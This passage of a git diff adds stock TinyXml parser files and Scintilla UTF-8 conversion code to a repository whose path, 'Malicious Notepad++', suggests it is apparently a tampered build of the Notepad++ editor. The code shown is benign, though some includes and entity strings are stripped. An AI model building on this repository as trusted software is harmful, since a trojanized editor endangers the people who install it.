const; + +protected : + // [internal use] Creates a new Element and returns it. + virtual TiXmlNode* Clone() const; + virtual void StreamOut ( TIXML_OSTREAM * out ) const; + // [internal use] + bool Blank() const; // returns true if all white space and new lines + /* [internal use] + Attribtue parsing starts: First TCHAR of the text + returns: next TCHAR past '>' + */ + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ); + // [internal use] + #ifdef TIXML_USE_STL + virtual void StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ); + #endif +}; + + +/** In correct XML the declaration is the first entry in the file. + @verbatim + + @endverbatim + + TinyXml will happily read or write files without a declaration, + however. There are 3 possible attributes to the declaration: + version, encoding, and standalone. + + Note: In this version of the code, the attributes are + handled as special cases, not generic attributes, simply + because there can only be at most 3 and they are always the same. +*/ +class TiXmlDeclaration : public TiXmlNode +{ +public: + /// Construct an empty declaration. + TiXmlDeclaration() : TiXmlNode( TiXmlNode::DECLARATION ) {} + +#ifdef TIXML_USE_STL + /// Constructor. + TiXmlDeclaration( const generic_string& _version, + const generic_string& _encoding, + const generic_string& _standalone ) + : TiXmlNode( TiXmlNode::DECLARATION ) + { + version = _version; + encoding = _encoding; + standalone = _standalone; + } +#endif + + /// Construct. + TiXmlDeclaration( const TCHAR* _version, + const TCHAR* _encoding, + const TCHAR* _standalone ); + + virtual ~TiXmlDeclaration() {} + + /// Version. Will return empty if none was found. + const TCHAR * Version() const { return version.c_str (); } + /// Encoding. Will return empty if none was found. + const TCHAR * Encoding() const { return encoding.c_str (); } + /// Is this a standalone document? + const TCHAR * Standalone() const { return standalone.c_str (); } + + // [internal use] Creates a new Element and returs it. + virtual TiXmlNode* Clone() const; + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; + +protected: + // used to be public + #ifdef TIXML_USE_STL + virtual void StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ); + #endif + virtual void StreamOut ( TIXML_OSTREAM * out) const; + // [internal use] + // Attribtue parsing starts: next TCHAR past '<' + // returns: next TCHAR past '>' + + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ); + +private: + TIXML_STRING version; + TIXML_STRING encoding; + TIXML_STRING standalone; +}; + + +/** Any tag that tinyXml doesn't recognize is saved as an + unknown. It is a tag of text, but should not be modified. + It will be written back to the XML, unchanged, when the file + is saved. +*/ +class TiXmlUnknown : public TiXmlNode +{ +public: + TiXmlUnknown() : TiXmlNode( TiXmlNode::UNKNOWN ) {} + virtual ~TiXmlUnknown() {} + + // [internal use] + virtual TiXmlNode* Clone() const; + // [internal use] + virtual void Print( FILE* cfile, int depth ) const; +protected: + #ifdef TIXML_USE_STL + virtual void StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ); + #endif + virtual void StreamOut ( TIXML_OSTREAM * out ) const; + /* [internal use] + Attribute parsing starts: First TCHAR of the text + returns: next TCHAR past '>' + */ + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data ); +}; + + +/** Always the top level node. A document binds together all the + XML pieces. It can be saved, loaded, and printed to the screen. + The 'value' of a document node is the xml file name. +*/ +class TiXmlDocument : public TiXmlNode +{ +public: + /// Create an empty document, that has no name. + TiXmlDocument(); + /// Create a document with a name. The name of the document is also the filename of the xml. + TiXmlDocument( const TCHAR * documentName ); + + #ifdef TIXML_USE_STL + /// Constructor. + TiXmlDocument( const generic_string& documentName ) : + TiXmlNode( TiXmlNode::DOCUMENT ) + { + tabsize = 4; + value = documentName; + error = false; + } + #endif + + virtual ~TiXmlDocument() {} + + /** Load a file using the current document value. + Returns true if successful. Will delete any existing + document data before loading. + */ + bool LoadFile(); + /// Save a file using the current document value. Returns true if successful. + bool SaveFile() const; + /// Load a file using the given filename. Returns true if successful. + bool LoadFile( const TCHAR * filename ); + /// Save a file using the given filename. Returns true if successful. + bool SaveFile( const TCHAR * filename ) const; + + #ifdef TIXML_USE_STL + bool LoadFile( const generic_string& filename ) ///< STL string version. + { + StringToBuffer f( filename ); + return ( f.buffer && LoadFile( f.buffer )); + } + bool SaveFile( const generic_string& filename ) const ///< STL string version. + { + StringToBuffer f( filename ); + return ( f.buffer && SaveFile( f.buffer )); + } + #endif + + /** Parse the given null terminated block of xml data. + */ + virtual const TCHAR* Parse( const TCHAR* p, TiXmlParsingData* data = 0 ); + + /** Get the root element -- the only top level element -- of the document. + In well formed XML, there should only be one. TinyXml is tolerant of + multiple elements at the document level. + */ + TiXmlElement* RootElement() const { return FirstChildElement(); } + + /** If an error occurs, Error will be set to true. Also, + - The ErrorId() will contain the integer identifier of the error (not generally useful) + - The ErrorDesc() method will return the name of the error. (very useful) + - The ErrorRow() and ErrorCol() will return the location of the error (if known) + */ + bool Error() const { return error; } + + /// Contains a textual (english) description of the error if one occurs. + const TCHAR * ErrorDesc() const { return errorDesc.c_str (); } + + /** Generally, you probably want the error generic_string ( ErrorDesc() ). But if you + prefer the ErrorId, this function will fetch it. + */ + const int ErrorId() const { return errorId; } + + /** Returns the location (if known) of the error. The first column is column 1, + and the first row is row 1. A value of 0 means the row and column wasn't applicable + (memory errors, for example, have no row/column) or the parser lost the error. (An + error in the error reporting, in that case.) + + @sa SetTabSize, Row, Column + */ + int ErrorRow() { return errorLocation.row+1; } + int ErrorCol() { return errorLocation.col+1; } ///< The column where the error occured. See ErrorRow() + + /** By calling this method, with a tab size + greater than 0, the row and column of each node and attribute is stored + when the file is loaded. Very useful for tracking the DOM back in to + the source file. + + The tab size is required for calculating the location of nodes. If not + set, the default of 4 is used. The tabsize is set per document. Setting + the tabsize to 0 disables row/column tracking. + + Note that row and column tracking is not supported when using operator>>. + + The tab size needs to be enabled before the parse or load. Correct usage: + @verbatim + TiXmlDocument doc; + doc.SetTabSize( 8 ); + doc.Load( "myfile.xml" ); + @endverbatim + + @sa Row, Column + */ + void SetTabSize( int _tabsize ) { tabsize = _tabsize; } + + int TabSize() const { return tabsize; } + + /** If you have handled the error, it can be reset with this call. The error + state is automatically cleared if you Parse a new XML block. + */ + void ClearError() { error = false; + errorId = 0; + errorDesc = TEXT(""); + errorLocation.row = errorLocation.col = 0; + //errorLocation.last = 0; + } + + /** Dump the document to standard out. */ + void Print() const { Print( stdout, 0 ); } + + // [internal use] + virtual void Print( FILE* cfile, int depth = 0 ) const; + // [internal use] + void SetError( int err, const TCHAR* errorLocation, TiXmlParsingData* prevData ); + +protected : + virtual void StreamOut ( TIXML_OSTREAM * out) const; + // [internal use] + virtual TiXmlNode* Clone() const; + #ifdef TIXML_USE_STL + virtual void StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ); + #endif + +private: + bool error; + int errorId; + TIXML_STRING errorDesc; + int tabsize; + TiXmlCursor errorLocation; +}; + + +/** + A TiXmlHandle is a class that wraps a node pointer with null checks; this is + an incredibly useful thing. Note that TiXmlHandle is not part of the TinyXml + DOM structure. It is a separate utility class. + + Take an example: + @verbatim + + + + + + + @endverbatim + + Assuming you want the value of "attributeB" in the 2nd "Child" element, it's very + easy to write a *lot* of code that looks like: + + @verbatim + TiXmlElement* root = document.FirstChildElement( "Document" ); + if ( root ) + { + TiXmlElement* element = root->FirstChildElement( "Element" ); + if ( element ) + { + TiXmlElement* child = element->FirstChildElement( "Child" ); + if ( child ) + { + TiXmlElement* child2 = child->NextSiblingElement( "Child" ); + if ( child2 ) + { + // Finally do something useful. + @endverbatim + + And that doesn't even cover "else" cases. TiXmlHandle addresses the verbosity + of such code. A TiXmlHandle checks for null pointers so it is perfectly safe + and correct to use: + + @verbatim + TiXmlHandle docHandle( &document ); + TiXmlElement* child2 = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).Child( "Child", 1 ).Element(); + if ( child2 ) + { + // do something useful + @endverbatim + + Which is MUCH more concise and useful. + + It is also safe to copy handles - internally they are nothing more than node pointers. + @verbatim + TiXmlHandle handleCopy = handle; + @endverbatim + + What they should not be used for is iteration: + + @verbatim + int i=0; + while ( true ) + { + TiXmlElement* child = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).Child( "Child", i ).Element(); + if ( !child ) + break; + // do something + ++i; + } + @endverbatim + + It seems reasonable, but it is in fact two embedded while loops. The Child method is + a linear walk to find the element, so this code would iterate much more than it needs + to. Instead, prefer: + + @verbatim + TiXmlElement* child = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).FirstChild( "Child" ).Element(); + + for( child; child; child=child->NextSiblingElement() ) + { + // do something + } + @endverbatim +*/ +class TiXmlHandle +{ +public: + /// Create a handle from any node (at any depth of the tree.) This can be a null pointer. + TiXmlHandle( TiXmlNode* node ) { this->node = node; } + /// Copy constructor + TiXmlHandle( const TiXmlHandle& ref ) { this->node = ref.node; } + + /// Return a handle to the first child node. + TiXmlHandle FirstChild() const; + /// Return a handle to the first child node with the given name. + TiXmlHandle FirstChild( const TCHAR * value ) const; + /// Return a handle to the first child element. + TiXmlHandle FirstChildElement() const; + /// Return a handle to the first child element with the given name. + TiXmlHandle FirstChildElement( const TCHAR * value ) const; + + /** Return a handle to the "index" child with the given name. + The first child is 0, the second 1, etc. + */ + TiXmlHandle Child( const TCHAR* value, int index ) const; + /** Return a handle to the "index" child. + The first child is 0, the second 1, etc. + */ + TiXmlHandle Child( int index ) const; + /** Return a handle to the "index" child element with the given name. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandle ChildElement( const TCHAR* value, int index ) const; + /** Return a handle to the "index" child element. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandle ChildElement( int index ) const; + + #ifdef TIXML_USE_STL + TiXmlHandle FirstChild( const generic_string& _value ) const { return FirstChild( _value.c_str() ); } + TiXmlHandle FirstChildElement( const generic_string& _value ) const { return FirstChildElement( _value.c_str() ); } + + TiXmlHandle Child( const generic_string& _value, int index ) const { return Child( _value.c_str(), index ); } + TiXmlHandle ChildElement( const generic_string& _value, int index ) const { return ChildElement( _value.c_str(), index ); } + #endif + + /// Return the handle as a TiXmlNode. This may return null. + TiXmlNode* Node() const { return node; } + /// Return the handle as a TiXmlElement. This may return null. + TiXmlElement* Element() const { return ( ( node && node->ToElement() ) ? node->ToElement() : 0 ); } + /// Return the handle as a TiXmlText. This may return null. + TiXmlText* Text() const { return ( ( node && node->ToText() ) ? node->ToText() : 0 ); } + +private: + TiXmlNode* node; +}; + +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + +#endif + diff --git a/Malicious Notepad++/src/TinyXml/tinyxmlerror.cpp b/Malicious Notepad++/src/TinyXml/tinyxmlerror.cpp new file mode 100644 index 0000000..717cfb9 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyxmlerror.cpp @@ -0,0 +1,51 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#include "tinyxml.h" + +// The goal of the seperate error file is to make the first +// step towards localization. tinyxml (currently) only supports +// latin-1, but at least the error messages could now be translated. +// +// It also cleans up the code a bit. +// + +const TCHAR* TiXmlBase::errorString[ TIXML_ERROR_STRING_COUNT ] = +{ + TEXT("No error"), + TEXT("Error"), + TEXT("Failed to open file"), + TEXT("Memory allocation failed."), + TEXT("Error parsing Element."), + TEXT("Failed to read Element name"), + TEXT("Error reading Element value."), + TEXT("Error reading Attributes."), + TEXT("Error: empty tag."), + TEXT("Error reading end tag."), + TEXT("Error parsing Unknown."), + TEXT("Error parsing Comment."), + TEXT("Error parsing Declaration."), + TEXT("Error document empty.") +}; diff --git a/Malicious Notepad++/src/TinyXml/tinyxmlparser.cpp b/Malicious Notepad++/src/TinyXml/tinyxmlparser.cpp new file mode 100644 index 0000000..84c89bb --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyxmlparser.cpp @@ -0,0 +1,1143 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#include +#include "tinyxml.h" + +//#define DEBUG_PARSER + +// Note tha "PutString" hardcodes the same list. This +// is less flexible than it appears. Changing the entries +// or order will break putstring. +TiXmlBase::Entity TiXmlBase::entity[ NUM_ENTITY ] = +{ + { TEXT("&"), 5, '&' }, + { TEXT("<"), 4, '<' }, + { TEXT(">"), 4, '>' }, + { TEXT("""), 6, '\"' }, + { TEXT("'"), 6, '\'' } +}; + + +class TiXmlParsingData +{ + friend class TiXmlDocument; + public: + //TiXmlParsingData( const TCHAR* now, const TiXmlParsingData* prevData ); + void Stamp( const TCHAR* now ); + + const TiXmlCursor& Cursor() { return cursor; } + //void Update( const TCHAR* now ); + + private: + // Only used by the document! + TiXmlParsingData( const TCHAR* start, int _tabsize, int row, int col ) + { + assert( start ); + stamp = start; + tabsize = _tabsize; + cursor.row = row; + cursor.col = col; + } + + TiXmlCursor cursor; + const TCHAR* stamp; + int tabsize; +}; + + +void TiXmlParsingData::Stamp( const TCHAR* now ) +{ + assert( now ); + + // Do nothing if the tabsize is 0. + if ( tabsize < 1 ) + { + return; + } + + // Get the current row, column. + int row = cursor.row; + int col = cursor.col; + const TCHAR* p = stamp; + assert( p ); + + while ( p < now ) + { + // Code contributed by Fletcher Dunn: (modified by lee) + switch (*p) { + case 0: + // We *should* never get here, but in case we do, don't + // advance past the terminating null character, ever + return; + + case '\r': + // bump down to the next line + ++row; + col = 0; + // Eat the character + ++p; + + // Check for \r\n sequence, and treat this as a single character + if (*p == '\n') { + ++p; + } + break; + + case '\n': + // bump down to the next line + ++row; + col = 0; + + // Eat the character + ++p; + + // Check for \n\r sequence, and treat this as a single + // character. (Yes, this bizarre thing does occur still + // on some arcane platforms...) + if (*p == '\r') { + ++p; + } + break; + + case '\t': + // Eat the character + ++p; + + // Skip to next tab stop + col = (col / tabsize + 1) * tabsize; + break; + + default: + // Eat the character + ++p; + + // Normal TCHAR - just advance one column + ++col; + break; + } + } + cursor.row = row; + cursor.col = col; + assert( cursor.row >= -1 ); + assert( cursor.col >= -1 ); + stamp = p; + assert( stamp ); +} + + +const TCHAR* TiXmlBase::SkipWhiteSpace( const TCHAR* p ) +{ + if ( !p || !*p ) + { + return 0; + } + while ( p && *p ) + { + if ( isspace( *p ) || *p == '\n' || *p =='\r' ) // Still using old rules for white space. + ++p; + else + break; + } + + return p; +} + +#ifdef TIXML_USE_STL +/*static*/ bool TiXmlBase::StreamWhiteSpace( TIXML_ISTREAM * in, TIXML_STRING * tag ) +{ + for( ;; ) + { + if ( !in->good() ) return false; + + int c = in->peek(); + if ( !IsWhiteSpace( c ) ) + return true; + *tag += static_cast(in->get()); + } +} + +/*static*/ bool TiXmlBase::StreamTo( TIXML_ISTREAM * in, int character, TIXML_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->peek(); + if ( c == character ) + return true; + + in->get(); + *tag += static_cast(c); + } + return false; +} +#endif + +const TCHAR* TiXmlBase::ReadName( const TCHAR* p, TIXML_STRING * name ) +{ + *name = TEXT(""); + assert( p ); + + // Names start with letters or underscores. + // After that, they can be letters, underscores, numbers, + // hyphens, or colons. (Colons are valid ony for namespaces, + // but tinyxml can't tell namespaces from names.) + if ( p && *p + && ( isalpha( (UCHAR) *p ) || *p == '_' ) ) + { + while( p && *p + && ( isalnum( (UCHAR ) *p ) + || *p == '_' + || *p == '-' + || *p == '.' + || *p == ':' ) ) + { + (*name) += *p; + ++p; + } + return p; + } + return 0; +} + +const TCHAR* TiXmlBase::GetEntity( const TCHAR* p, TCHAR* value ) +{ + // Presume an entity, and pull it out. + int i; + + // Handle the &#x entities. + if (generic_strncmp( TEXT("&#x"), p, 3 ) == 0) + { + const TCHAR* end = generic_strchr(p+3, TEXT(';')); + if (end && end - p <= 3 + 4) + { + TCHAR* hexend; + auto val = generic_strtol(p + 3, &hexend, 16); + if (hexend == end) + { + *value = static_cast(val); + return end + 1; + } + } + } + + // Now try to match it. + for (i=0; i(lstrlen(entity[i].str)) == entity[i].strLength ); + *value = entity[i].chr; + return (p + entity[i].strLength); + } + } + + // So it wasn't an entity, its unrecognized, or something like that. + *value = *p; // Don't put back the last one, since we return it! + return p+1; +} + + +bool TiXmlBase::StringEqual( const TCHAR* p, + const TCHAR* tag, + bool ignoreCase ) +{ + assert( p ); + if ( !p || !*p ) + { + assert( 0 ); + return false; + } + + if ( tolower( *p ) == tolower( *tag ) ) + { + const TCHAR* q = p; + + if (ignoreCase) + { + while ( *q && *tag && *q == *tag ) + { + ++q; + ++tag; + } + + if ( *tag == 0 ) // Have we found the end of the tag, and everything equal? + { + return true; + } + } + else + { + while ( *q && *tag && tolower( *q ) == tolower( *tag ) ) + { + ++q; + ++tag; + } + + if ( *tag == 0 ) + { + return true; + } + } + } + return false; +} + +const TCHAR* TiXmlBase::ReadText( const TCHAR* p, + TIXML_STRING * text, + bool trimWhiteSpace, + const TCHAR* endTag, + bool caseInsensitive ) +{ + *text = TEXT(""); + if ( !trimWhiteSpace // certain tags always keep whitespace + || !condenseWhiteSpace ) // if true, whitespace is always kept + { + // Keep all the white space. + while ( p && *p + && !StringEqual( p, endTag, caseInsensitive ) + ) + { + TCHAR c; + p = GetChar( p, &c ); + (* text) += c; + } + } + else + { + bool whitespace = false; + + // Remove leading white space: + p = SkipWhiteSpace( p ); + while ( p && *p + && !StringEqual( p, endTag, caseInsensitive ) ) + { + if ( *p == '\r' || *p == '\n' ) + { + whitespace = true; + ++p; + } + else if ( isspace( *p ) ) + { + whitespace = true; + ++p; + } + else + { + // If we've found whitespace, add it before the + // new character. Any whitespace just becomes a space. + if ( whitespace ) + { + (* text) += ' '; + whitespace = false; + } + TCHAR c; + p = GetChar( p, &c ); + (* text) += c; + } + } + } + return p + lstrlen( endTag ); +} + +#ifdef TIXML_USE_STL + +void TiXmlDocument::StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ) +{ + // The basic issue with a document is that we don't know what we're + // streaming. Read something presumed to be a tag (and hope), then + // identify it, and call the appropriate stream method on the tag. + // + // This "pre-streaming" will never read the closing ">" so the + // sub-tag can orient itself. + + if ( !StreamTo( in, '<', tag ) ) + { + SetError( TIXML_ERROR_PARSING_EMPTY, 0, 0 ); + return; + } + + while ( in->good() ) + { + size_t tagIndex = tag->length(); + while ( in->good() && in->peek() != '>' ) + { + int c = in->get(); + (*tag) += static_cast(c); + } + + if ( in->good() ) + { + // We now have something we presume to be a node of + // some sort. Identify it, and call the node to + // continue streaming. + TiXmlNode* node = Identify( tag->c_str() + tagIndex ); + + if ( node ) + { + node->StreamIn( in, tag ); + bool isElement = node->ToElement() != 0; + delete node; + node = 0; + + // If this is the root element, we're done. Parsing will be + // done by the >> operator. + if ( isElement ) + { + return; + } + } + else + { + SetError( TIXML_ERROR, 0, 0 ); + return; + } + } + } + // We should have returned sooner. + SetError( TIXML_ERROR, 0, 0 ); +} + +#endif + +const TCHAR* TiXmlDocument::Parse( const TCHAR* p, TiXmlParsingData* prevData ) +{ + ClearError(); + + // Parse away, at the document level. Since a document + // contains nothing but other tags, most of what happens + // here is skipping white space. + if ( !p || !*p ) + { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0 ); + return 0; + } + + // Note that, for a document, this needs to come + // before the while space skip, so that parsing + // starts from the pointer we are given. + location.Clear(); + if ( prevData ) + { + location.row = prevData->cursor.row; + location.col = prevData->cursor.col; + } + else + { + location.row = 0; + location.col = 0; + } + TiXmlParsingData data( p, TabSize(), location.row, location.col ); + location = data.Cursor(); + + p = SkipWhiteSpace( p ); + if ( !p ) + { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0 ); + return 0; + } + + while ( p && *p ) + { + TiXmlNode* node = Identify( p ); + if ( node ) + { + p = node->Parse( p, &data ); + LinkEndChild( node ); + } + else + { + break; + } + p = SkipWhiteSpace( p ); + } + + // All is well. + return p; +} + +void TiXmlDocument::SetError( int err, const TCHAR* pError, TiXmlParsingData* data ) +{ + // The first error in a chain is more accurate - don't set again! + if ( error ) + return; + + assert( err > 0 && err < TIXML_ERROR_STRING_COUNT ); + error = true; + errorId = err; + errorDesc = errorString[ errorId ]; + + errorLocation.Clear(); + if ( pError && data ) + { + //TiXmlParsingData data( pError, prevData ); + data->Stamp( pError ); + errorLocation = data->Cursor(); + } +} + + +TiXmlNode* TiXmlNode::Identify( const TCHAR* p ) +{ + TiXmlNode* returnNode = 0; + + p = SkipWhiteSpace( p ); + if( !p || !*p || *p != '<' ) + { + return 0; + } + + TiXmlDocument* doc = GetDocument(); + p = SkipWhiteSpace( p ); + + if ( !p || !*p ) + { + return 0; + } + + // What is this thing? + // - Elements start with a letter or underscore, but xml is reserved. + // - Comments: "); + + if ( !StringEqual( p, startTag, false ) ) + { + document->SetError( TIXML_ERROR_PARSING_COMMENT, p, data ); + return 0; + } + p += lstrlen( startTag ); + p = ReadText( p, &value, false, endTag, false ); + return p; +} + + +const TCHAR* TiXmlAttribute::Parse( const TCHAR* p, TiXmlParsingData* data ) +{ + p = SkipWhiteSpace( p ); + if ( !p || !*p ) return 0; + + int tabsize = 4; + if ( document ) + tabsize = document->TabSize(); + +// TiXmlParsingData data( p, prevData ); + if ( data ) + { + data->Stamp( p ); + location = data->Cursor(); + } + // Read the name, the '=' and the value. + const TCHAR* pErr = p; + p = ReadName( p, &name ); + if ( !p || !*p ) + { + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, pErr, data ); + return 0; + } + p = SkipWhiteSpace( p ); + if ( !p || !*p || *p != '=' ) + { + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data ); + return 0; + } + + ++p; // skip '=' + p = SkipWhiteSpace( p ); + if ( !p || !*p ) + { + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data ); + return 0; + } + + const TCHAR* end; + + if ( *p == '\'' ) + { + ++p; + end = TEXT("\'"); + p = ReadText( p, &value, false, end, false ); + } + else if ( *p == '"' ) + { + ++p; + end = TEXT("\""); + p = ReadText( p, &value, false, end, false ); + } + else + { + // All attribute values should be in single or double quotes. + // But this is such a common error that the parser will try + // its best, even without them. + value = TEXT(""); + while ( p && *p // existence + && !isspace( *p ) && *p != '\n' && *p != '\r' // whitespace + && *p != '/' && *p != '>' ) // tag end + { + value += *p; + ++p; + } + } + return p; +} + +#ifdef TIXML_USE_STL +void TiXmlText::StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->peek(); + if ( c == '<' ) + return; + + (*tag) += static_cast(c); + in->get(); + } +} +#endif + +const TCHAR* TiXmlText::Parse( const TCHAR* p, TiXmlParsingData* data ) +{ + value = TEXT(""); +// TiXmlParsingData data( p, prevData ); + if ( data ) + { + data->Stamp( p ); + location = data->Cursor(); + } + bool ignoreWhite = true; + + const TCHAR* end = TEXT("<"); + p = ReadText( p, &value, ignoreWhite, end, false ); + if ( p ) + return p-1; // don't truncate the '<' + return 0; +} + +#ifdef TIXML_USE_STL +void TiXmlDeclaration::StreamIn( TIXML_ISTREAM * in, TIXML_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->get(); + (*tag) += static_cast(c); + + if ( c == '>' ) + { + // All is well. + return; + } + } +} +#endif + +const TCHAR* TiXmlDeclaration::Parse( const TCHAR* p, TiXmlParsingData* data ) +{ + p = SkipWhiteSpace( p ); + // Find the beginning, find the end, and look for + // the stuff in-between. + TiXmlDocument* document = GetDocument(); + if ( !p || !*p || !StringEqual( p, TEXT("SetError( TIXML_ERROR_PARSING_DECLARATION, 0, 0 ); + return 0; + } +// TiXmlParsingData data( p, prevData ); + if ( data ) + { + data->Stamp( p ); + location = data->Cursor(); + } + p += 5; + + version = TEXT(""); + encoding = TEXT(""); + standalone = TEXT(""); + + while ( p && *p ) + { + if ( *p == '>' ) + { + ++p; + return p; + } + + p = SkipWhiteSpace( p ); + if ( StringEqual( p, TEXT("version"), true ) ) + { + TiXmlAttribute attrib; + p = attrib.Parse( p, data ); + version = attrib.Value(); + } + else if ( StringEqual( p, TEXT("encoding"), true ) ) + { + TiXmlAttribute attrib; + p = attrib.Parse( p, data ); + encoding = attrib.Value(); + } + else if ( StringEqual( p, TEXT("standalone"), true ) ) + { + TiXmlAttribute attrib; + p = attrib.Parse( p, data ); + standalone = attrib.Value(); + } + else + { + // Read over whatever it is. + while( p && *p && *p != '>' && !isspace( *p ) ) + ++p; + } + } + return 0; +} + +bool TiXmlText::Blank() const +{ + for (size_t i = 0, len = value.length(); i < len; i++) + if ( !isspace( value[i] ) ) + return false; + return true; +} + diff --git a/Malicious Notepad++/src/UniConversion.cpp b/Malicious Notepad++/src/UniConversion.cpp new file mode 100644 index 0000000..bff612c --- /dev/null +++ b/Malicious Notepad++/src/UniConversion.cpp @@ -0,0 +1,135 @@ +// Scintilla source code edit control +/** @file UniConversion.cxx + ** Functions to handle UFT-8 and UCS-2 strings. + **/ +// Copyright 1998-2001 by Neil Hodgson +// The License.txt file describes the conditions under which this software may be distributed. + +#include +#include "UniConversion.h" + +unsigned int UTF8Length(const wchar_t *uptr, unsigned int tlen) { + unsigned int len = 0; + for (unsigned int i = 0; i < tlen && uptr[i]; ++i) { + unsigned int uch = uptr[i]; + if (uch < 0x80) + ++len; + else if (uch < 0x800) + len += 2; + else + len +=3; + } + return len; +} + +void UTF8FromUCS2(const wchar_t *uptr, unsigned int tlen, char *putf, unsigned int len) { + int k = 0; + for (unsigned int i = 0; i < tlen && uptr[i]; ++i) { + unsigned int uch = uptr[i]; + if (uch < 0x80) { + putf[k++] = static_cast(uch); + } else if (uch < 0x800) { + putf[k++] = static_cast(0xC0 | (uch >> 6)); + putf[k++] = static_cast(0x80 | (uch & 0x3f)); + } else { + putf[k++] = static_cast(0xE0 | (uch >> 12)); + putf[k++] = static_cast(0x80 | ((uch >> 6) & 0x3f)); + putf[k++] = static_cast(0x80 | (uch & 0x3f)); + } + } + putf[len] = '\0'; +} + +unsigned int UCS2Length(const char *s, unsigned int len) { + unsigned int ulen = 0; + for (unsigned int i=0; i(s[i]); + if ((ch < 0x80) || (ch > (0x80 + 0x40))) + ++ulen; + } + return ulen; +} + +unsigned int UCS2FromUTF8(const char *s, unsigned int len, wchar_t *tbuf, unsigned int tlen) +{ + unsigned int ui=0; + const UCHAR *us = reinterpret_cast(s); + unsigned int i=0; + while ((i((ch & 0x1F) << 6); + ch = us[i++]; + tbuf[ui] = static_cast(tbuf[ui] + (ch & 0x7F)); + } else { + tbuf[ui] = static_cast((ch & 0xF) << 12); + ch = us[i++]; + tbuf[ui] = static_cast(tbuf[ui] + ((ch & 0x7F) << 6)); + ch = us[i++]; + tbuf[ui] = static_cast(tbuf[ui] + (ch & 0x7F)); + } + ui++; + } + return ui; +} + + +unsigned int ascii_to_utf8(const char * pszASCII, unsigned int lenASCII, char * pszUTF8) +{ + // length of pszUTF8 must be enough; + // its maximum is (lenASCII*3 + 1) + + if (!lenASCII || !pszASCII) + { + pszUTF8[0] = 0; + return 0; + } + + unsigned int lenUCS2; + unsigned int lenUTF8; + wchar_t *pszUCS2 = new wchar_t[lenASCII * 3 + 1]; + if (!pszUCS2) + { + pszUTF8[0] = 0; + return 0; + } + + lenUCS2 = ::MultiByteToWideChar(CP_ACP, 0, pszASCII, lenASCII, pszUCS2, lenASCII + 1); + lenUTF8 = UTF8Length(pszUCS2, lenUCS2); + // length of pszUTF8 must be >= (lenUTF8 + 1) + UTF8FromUCS2(pszUCS2, lenUCS2, pszUTF8, lenUTF8); + delete [] pszUCS2; + return lenUTF8; +} + +int utf8_to_ascii(const char * pszUTF8, unsigned int lenUTF8, char * pszASCII) +{ + // length of pszASCII must be enough; + // its maximum is (lenUTF8 + 1) + + if (!lenUTF8 || !pszUTF8) + { + pszASCII[0] = 0; + return 0; + } + + unsigned int lenUCS2; + wchar_t* pszUCS2; + + pszUCS2 = new wchar_t[lenUTF8 + 1]; + if (!pszUCS2) + { + pszASCII[0] = 0; + return 0; + } + + lenUCS2 = UCS2FromUTF8(pszUTF8, lenUTF8, pszUCS2, lenUTF8); + pszUCS2[lenUCS2] = 0; + // length of pszASCII must be >= (lenUCS2 + 1) + int nbByte = ::WideCharToMultiByte(CP_ACP, 0, pszUCS2, lenUCS2, pszASCII, lenUCS2 + 1, NULL, NULL); + delete [] pszUCS2; + return nbByte; +} + diff --git a/Malicious Notepad++/src/UniConversion.h b/Malicious Notepad++/src/UniConversion.h new file mode 100644 index 0000000..3a0b339 --- /dev/null +++ b/Malicious Notepad++/src/UniConversion.h @@ -0,0 +1,18 @@ +// Scintilla source code edit control +/** @file UniConversion.h + ** Functions to handle UFT-8 and UCS-2 strings. + **/ +// Copyright 1998-2001 by Neil Hodgson +// The License.txt file describes the conditions under which this software may be distributed. + +#ifndef UNICONVERSION_H +#define UNICONVERSION_H + +unsigned int UTF8Length(const wchar_t * uptr, unsigned int tlen); +void UTF8FromUCS2(const 